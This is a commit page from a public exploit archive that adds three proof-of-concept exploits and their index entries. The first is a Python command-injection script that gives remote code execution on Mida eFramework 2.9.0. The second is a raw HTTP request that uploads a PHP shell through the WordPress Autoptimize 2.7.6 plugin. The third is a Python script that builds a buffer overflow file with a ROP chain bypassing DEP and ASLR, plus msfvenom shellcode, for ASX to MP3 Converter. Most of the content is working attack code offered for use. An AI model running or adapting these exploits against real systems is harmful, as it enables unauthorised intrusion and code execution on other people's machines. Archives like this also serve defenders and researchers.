DB: 2020-08-28

3 changes to exploits/shellcodes

ASX to MP3 converter 3.1.3.7.2010.11.05 - '.wax' Local Buffer Overflow (DEP_ASLR Bypass) (PoC)
Mida eFramework 2.9.0 - Remote Code Execution
Wordpress Plugin Autoptimize 2.7.6 - Arbitrary File Upload (Authenticated)
This commit is contained in:
Offensive Security 2020-08-28 05:01:55 +00:00
parent 8bf2002f51
commit 2621b3c52e
4 changed files with 292 additions and 0 deletions

View file

@ -0,0 +1,72 @@
# Exploit Title: Mida eFramework 2.9.0 - Remote Code Execution
# Google Dork: Server: Mida eFramework
# Date: 2020-08-27
# Exploit Author: elbae
# Vendor Homepage: https://www.midasolutions.com/
# Software Link: http://ova-efw.midasolutions.com/
# Reference: https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
# Version: <= 2.9.0
# CVE : CVE-2020-15920
#! /usr/bin/python3
# -*- coding: utf-8 -*-
import argparse
import requests
import subprocess
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def print_disclaimer():
print("""
---------------------
Disclaimer:
1) For testing purpose only.
2) Do not attack production environments.
3) Intended for educational purposes only and cannot be used for law
violation or personal gain.
4) The author is not responsible for any possible harm caused by this
material.
---------------------""")
def print_info():
print("""
[*] PoC exploit for Mida eFramework <= 2.9.0 PDC (CVE-2020-15920)
[*] Reference:
https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
[*] Vulnerability: OS Command Injection Remote Code Execution Vulnerability
(RCE) in PDC/ajaxreq.php
Version\t< 2.9.0\t./CVE-2020-15920
http://192.168.1.60:8090/PDC/ajaxreq.php id
Version\t2.9.0\t./CVE-2020-15920 https://192.168.1.60/PDC/ajaxreq.php
id """)
def pwn(url,cmd):
running = """
[*] Target URL: {0}
[*] Command: {1}
"""
print(running.format(url,cmd))
data = {
"DIAGNOSIS":"PING",
"PARAM":"127.0.0.1 -c 0; {0}".format(cmd)
}
r = requests.post(url,data=data,verify=False)
line = "[*]"+"-"*20+" Output " + "-" *20 +"[*]"
pretty_output = r.text.replace('<br>','\n')
print(line+"\n{0}\n".format(pretty_output)+line)
def main():
print_info()
print_disclaimer()
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="the complete target URL")
parser.add_argument("cmd", type=str, help="the command you want to run")
args = parser.parse_args()
pwn(args.target, args.cmd)
if __name__ == '__main__':
main()

View file

@ -0,0 +1,84 @@
# Exploit Title: Wordpress Plugin Autoptimize 2.7.6 - Arbitrary File Upload (Authenticated)
# Date: 2020-08-24
# Software Link: https://wordpress.org/plugins/autoptimize/
# Author : SunCSR Team
# Version: v2.7.6
# Tested on Ubuntu 18.04 / Kali Linux
# Reference: https://wpvulndb.com/vulnerabilities/10372
Description :
-------------------------------------------------------------------
The ao_ccss_import AJAX call does not ensure that the file provided is a
legitimate Zip file, allowing high privilege users to upload arbitrary
files, such as PHP, leading to RCE.
[POC]
Step 1 :
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: pwnme
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101
Firefox/80.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://pwnme.me/wordpress/wp-admin/options-general.php?page=ao_critcss
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------26086940735210916964189813544
Content-Length: 685
Origin: http://pwnme
Connection: close
Cookie: autoptimize_feed=1;
wordpress_01c9c451f599e513a69d1e6bb6f8e273=admin%7C1598689405%7CiAGVovdBGV28Gk5pKstmbpGqYZA7Zbxq7lUoUBL0y6B%7Cc2f54fb4e357d2c591b7e5f53e6adb9531b0de5cc5fbc3cab3185f63917307cd;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_01c9c451f599e513a69d1e6bb6f8e273=admin%7C1598689405%7CiAGVovdBGV28Gk5pKstmbpGqYZA7Zbxq7lUoUBL0y6B%7C409cbfa6f750ff5902273e879e79d9f746c038c35228c978ea9cc3525eb12602;
wp-settings-time-1=1598516614
-----------------------------404272946439029073744006559647
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/zip
<?php Shell Content Here ! ?>
-----------------------------404272946439029073744006559647
Content-Disposition: form-data; name="action"
ao_ccss_import
-----------------------------404272946439029073744006559647
Content-Disposition: form-data; name="ao_ccss_import_nonce"
f25ca64f22
-----------------------------404272946439029073744006559647--
[Response]
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 27 Aug 2020 08:21:08 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Access-Control-Allow-Origin: http://pwnme.me
Access-Control-Allow-Credentials: true
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Content-Length: 53
{"code":"200","msg":"Settings imported successfully"}
Step 2: Access to
http://victim//wordpress/wp-content/uploads/ao_ccss/shell.php
Recommendations: Update to version 2.7.7
Thank you very much!

133
exploits/windows/local/48769.py Executable file
View file

@ -0,0 +1,133 @@
# Exploit Title: ASX to MP3 converter 3.1.3.7.2010.11.05 - '.wax' Local Buffer Overflow (DEP,ASLR Bypass) (PoC)
# Software Link Download: https://github.com/x00x00x00x00/ASXtoMP3Converter_3.1.3.7.2010.11.05/blob/master/ASXtoMP3Converter_3.1.3.7.2010.11.05.exe?raw=true
# Exploit Author: Paras Bhatia
# Discovery Date: 2020-08-25
# Vulnerable Software: ASX to MP3 converter
# Version: 3.1.3.7.2010.11.05
# Vulnerability Type: Local Buffer Overflow
# Tested on: Windows 7 Ultimate Service Pack 1 (32 bit - English)
# Proof of Concept :
# 1.- Run python code: asx_to_mp3_rop_exploit.py
# 2.- Works on DEP enabled for ASX2MP3Converter.exe
# 3.- Open "ASX2MP3Converter.exe"
# 4.- Click on "Load" Button
# 5.- Select generated file "asx_to_mp3_rop_exploit.wax".
# 6.- Click on "Open".
# 7.- Calc.exe runs.
#################################################################################################################################################
#Python "asx_to_mp3_rop_exploit.py" Code:
import struct
file = 'asx_to_mp3_rop_exploit.wax'
payload = "http://"
payload += "A" * 17417 + struct.pack('<L', 0x10010C8A) + "CCCC"
## msfvenom -a x86 -p windows/exec cmd=calc -b "\x00\x0a\x09" -f python
buf = ""
buf += "\xbe\x4b\xe7\x94\x8c\xdb\xcd\xd9\x74\x24\xf4\x5a\x33"
buf += "\xc9\xb1\x30\x31\x72\x13\x03\x72\x13\x83\xea\xb7\x05"
buf += "\x61\x70\xaf\x48\x8a\x89\x2f\x2d\x02\x6c\x1e\x6d\x70"
buf += "\xe4\x30\x5d\xf2\xa8\xbc\x16\x56\x59\x37\x5a\x7f\x6e"
buf += "\xf0\xd1\x59\x41\x01\x49\x99\xc0\x81\x90\xce\x22\xb8"
buf += "\x5a\x03\x22\xfd\x87\xee\x76\x56\xc3\x5d\x67\xd3\x99"
buf += "\x5d\x0c\xaf\x0c\xe6\xf1\x67\x2e\xc7\xa7\xfc\x69\xc7"
buf += "\x46\xd1\x01\x4e\x51\x36\x2f\x18\xea\x8c\xdb\x9b\x3a"
buf += "\xdd\x24\x37\x03\xd2\xd6\x49\x43\xd4\x08\x3c\xbd\x27"
buf += "\xb4\x47\x7a\x5a\x62\xcd\x99\xfc\xe1\x75\x46\xfd\x26"
buf += "\xe3\x0d\xf1\x83\x67\x49\x15\x15\xab\xe1\x21\x9e\x4a"
buf += "\x26\xa0\xe4\x68\xe2\xe9\xbf\x11\xb3\x57\x11\x2d\xa3"
buf += "\x38\xce\x8b\xaf\xd4\x1b\xa6\xed\xb2\xda\x34\x88\xf0"
buf += "\xdd\x46\x93\xa4\xb5\x77\x18\x2b\xc1\x87\xcb\x08\x3d"
buf += "\xc2\x56\x38\xd6\x8b\x02\x79\xbb\x2b\xf9\xbd\xc2\xaf"
buf += "\x08\x3d\x31\xaf\x78\x38\x7d\x77\x90\x30\xee\x12\x96"
buf += "\xe7\x0f\x37\xf5\x66\x9c\xdb\xfa"
## Save allocation type (0x1000) in EDX
payload += struct.pack('<L', 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN
payload += struct.pack('<L', 0x11112112)
payload += struct.pack('<L', 0x10029B8C) # XOR EDX,EDX # RETN
payload += struct.pack('<L', 0x1002D493) # POP EDX # RETN
payload += struct.pack('<L', 0xEEEEEEEE)
payload += struct.pack('<L', 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN
payload += struct.pack('<L', 0x41414141)
## Save the address of VirtualAlloc() in ESI
payload += struct.pack('<L', 0x1002fade) # POP EAX # RETN
payload += struct.pack('<L', 0x1004f060) # ptr to &VirtualAlloc()
payload += struct.pack('<L', 0x1003239f) # MOV EAX,DWORD PTR DS:[EAX] # RETN
payload += struct.pack('<L', 0x10040754) # PUSH EAX # POP ESI # POP EBP # LEA EAX,DWORD PTR DS:[ECX+EAX+D] # POP EBX # RETN
payload += struct.pack('<L', 0x41414141)
payload += struct.pack('<L', 0x41414141)
## Save the size of the block in EBX
payload += struct.pack('<L', 0x1004d881) # XOR EAX,EAX # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x10034735) # PUSH EAX # ADD AL,5D # MOV EAX,1 # POP EBX # RETN
## Save the address of esp in EBP
payload += struct.pack('<L', 0x10031c6c) # POP EBP # RETN
payload += struct.pack('<L', 0x10012316) # ADD ESP,8 # RETN
##Save memory protection code (0x40) in ECX
payload += struct.pack('<L',0x1002e16c) # POP ECX # RETN
payload += struct.pack('<L',0xffffffff)
payload += struct.pack('<L',0x10031ebe) # INC ECX # AND EAX,8 # RETN
payload += struct.pack('<L',0x10031ebe) # INC ECX # AND EAX,8 # RETN
payload += struct.pack('<L',0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L',0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L',0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L',0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L',0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L',0x1002a5b7) # ADD ECX,ECX # RETN
## Save ROP-NOP in EDI
payload += struct.pack('<L', 0x1002e346) # POP EDI # RETN
payload += struct.pack('<L', 0x10010C8A) # RETN
## Set up the EAX register to contain the address of # PUSHAD #RETN and JMP to this address
payload += struct.pack('<L', 0x1002E516) # POP EAX # RETN
payload += struct.pack('<L', 0xA4E2F275)
payload += struct.pack('<L', 0x1003efe2) # ADD EAX,5B5D5E5F # RETN
payload += struct.pack('<L', 0x10040ce5) # PUSH EAX # RETN
payload += "\x90" * 4
payload += struct.pack('<L', 0x1003df73) # & PUSH ESP # RETN
payload += "\x90" * 20
payload += buf
f = open(file,'w')
f.write(payload)
f.close()

View file

@ -11139,6 +11139,7 @@ id,file,description,date,author,type,platform,port
48719,exploits/windows/local/48719.py,"docPrint Pro 8.0 - 'Add URL' Buffer Overflow (SEH Egghunter)",2020-07-26,MasterVlad,local,windows,
48735,exploits/windows/local/48735.txt,"CodeMeter 6.60 - 'CodeMeter.exe' Unquoted Service Path",2020-08-06,"Luis Martínez",local,windows,
48740,exploits/windows/local/48740.txt,"BarcodeOCR 19.3.6 - 'BarcodeOCR' Unquoted Service Path",2020-08-10,"Daniel Bertoni",local,windows,
48769,exploits/windows/local/48769.py,"ASX to MP3 converter 3.1.3.7.2010.11.05 - '.wax' Local Buffer Overflow (DEP_ASLR Bypass) (PoC)",2020-08-27,"Paras Bhatia",local,windows,
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@ -43006,3 +43007,5 @@ id,file,description,date,author,type,platform,port
48764,exploits/hardware/webapps/48764.txt,"Eibiz i-Media Server Digital Signage 3.8.0 - Configuration Disclosure",2020-08-24,LiquidWorm,webapps,hardware,
48765,exploits/multiple/webapps/48765.txt,"Ericom Access Server x64 9.2.0 - Server-Side Request Forgery",2020-08-26,hyp3rlinx,webapps,multiple,
48766,exploits/multiple/webapps/48766.txt,"Eibiz i-Media Server Digital Signage 3.8.0 - Directory Traversal",2020-08-26,LiquidWorm,webapps,multiple,
48768,exploits/multiple/webapps/48768.py,"Mida eFramework 2.9.0 - Remote Code Execution",2020-08-27,elbae,webapps,multiple,
48770,exploits/php/webapps/48770.txt,"Wordpress Plugin Autoptimize 2.7.6 - Arbitrary File Upload (Authenticated)",2020-08-27,"SunCSR Team",webapps,php,

Can't render this file because it is too large.